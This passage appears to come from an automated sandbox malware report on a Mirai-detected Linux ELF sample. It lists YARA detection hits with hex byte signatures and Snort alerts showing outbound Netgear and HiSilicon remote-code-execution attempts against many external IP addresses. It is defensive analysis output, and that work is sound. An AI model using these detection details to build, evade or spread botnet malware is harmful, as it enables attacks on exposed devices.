6491.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6491.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6491.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6491.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6491.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6491.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7116.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7116.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7116.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7116.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7116.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7116.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6929.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6929.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6929.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6929.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6929.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6929.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: 7ALXuklmvu.elf PID: 6235	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6235	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6242	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6242	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6243	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6243	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6244	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6244	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6245	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6245	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6246	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6246	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6247	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6247	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6248	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6248	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6249	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6249	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6250	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6250	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6251	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6251	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6252	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6252	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6253	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6253	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6254	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6254	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6255	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6255	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6256	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6256	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6257	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6257	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6258	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6258	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6259	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6259	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6260	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6260	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6261	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6261	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6262	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6262	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6263	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6263	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6265	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6265	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6266	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6266	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6267	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6267	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6268	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6268	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6269	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6269	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6270	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6270	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6271	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6271	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6272	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6272	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6273	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6273	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6274	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6274	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6275	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6275	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6276	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6276	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6277	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6277	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6278	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6278	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6279	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6279	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6280	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6280	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6281	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6281	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6282	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6282	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6283	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6283	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6284	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6284	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6285	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6285	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6286	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6286	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6287	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6287	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6288	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6288	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6289	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6289	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6290	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6290	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6291	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6291	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6292	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6292	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6293	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6293	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6294	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6294	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6295	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6295	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6296	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6296	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6297	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6297	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6298	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6298	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6299	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6299	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6300	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6300	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6301	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6301	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6302	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6302	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6303	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6303	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6304	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6304	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6305	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6305	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6306	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6306	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6307	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6307	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6308	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6308	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6309	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6309	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6312	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: 7ALXuklmvu.elf PID: 6312	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7002 entries

Snort Signatures

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.88.139.252

Timestamp:	05/16/24-16:39:05.500410
SID:	2024916
Source Port:	43658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.221.11.129

Timestamp:	05/16/24-16:38:57.429334
SID:	2030487
Source Port:	54042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.221.11.129

Timestamp:	05/16/24-16:38:57.429334
SID:	2030488
Source Port:	54042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.123.250.170

Timestamp:	05/16/24-16:38:55.226345
SID:	2030488
Source Port:	58016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.50.112.184

Timestamp:	05/16/24-16:39:08.149395
SID:	2030488
Source Port:	35534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.123.250.170

Timestamp:	05/16/24-16:38:55.226345
SID:	2030487
Source Port:	58016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.60.149.4

Timestamp:	05/16/24-16:39:12.382814
SID:	2030487
Source Port:	59314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.60.149.4

Timestamp:	05/16/24-16:39:12.382814
SID:	2030488
Source Port:	59314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.13.119.86

Timestamp:	05/16/24-16:39:02.767816
SID:	2030488
Source Port:	51662
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.197.118.114

Timestamp:	05/16/24-16:39:12.400590
SID:	2030487
Source Port:	47168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.13.119.86

Timestamp:	05/16/24-16:39:02.767816
SID:	2030487
Source Port:	51662
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.197.118.114

Timestamp:	05/16/24-16:39:12.400590
SID:	2030488
Source Port:	47168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 28.192.76.236

Timestamp:	05/16/24-16:39:01.475837
SID:	2034576
Source Port:	58292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.73.79.151

Timestamp:	05/16/24-16:39:14.491153
SID:	2030487
Source Port:	39264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.73.79.151

Timestamp:	05/16/24-16:39:14.491153
SID:	2030488
Source Port:	39264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.98.222.85

Timestamp:	05/16/24-16:38:53.062204
SID:	2030487
Source Port:	52626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.98.222.85

Timestamp:	05/16/24-16:38:53.062204
SID:	2030488
Source Port:	52626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.166.150.2

Timestamp:	05/16/24-16:38:53.011360
SID:	2030487
Source Port:	57182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.57.50.244

Timestamp:	05/16/24-16:38:57.451872
SID:	2030488
Source Port:	43312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.166.150.2

Timestamp:	05/16/24-16:38:53.011360
SID:	2030488
Source Port:	57182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.50.112.184

Timestamp:	05/16/24-16:39:08.149395
SID:	2030487
Source Port:	35534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.91.249.106

Timestamp:	05/16/24-16:38:53.011285
SID:	2030487
Source Port:	43748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.91.249.106

Timestamp:	05/16/24-16:38:53.011285
SID:	2030488
Source Port:	43748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.160.8.175

Timestamp:	05/16/24-16:39:08.041923
SID:	2030488
Source Port:	47258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.160.8.175

Timestamp:	05/16/24-16:39:08.041923
SID:	2030487
Source Port:	47258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.131.77.254

Timestamp:	05/16/24-16:39:16.604784
SID:	2030488
Source Port:	46040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.24.145.77

Timestamp:	05/16/24-16:38:53.071305
SID:	2030487
Source Port:	47442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.24.145.77

Timestamp:	05/16/24-16:38:53.071305
SID:	2030488
Source Port:	47442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.108.6.75

Timestamp:	05/16/24-16:39:03.260047
SID:	2030487
Source Port:	60228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.108.6.75

Timestamp:	05/16/24-16:39:03.260047
SID:	2030488
Source Port:	60228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.138.11

Timestamp:	05/16/24-16:38:53.066985
SID:	2030488
Source Port:	37860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

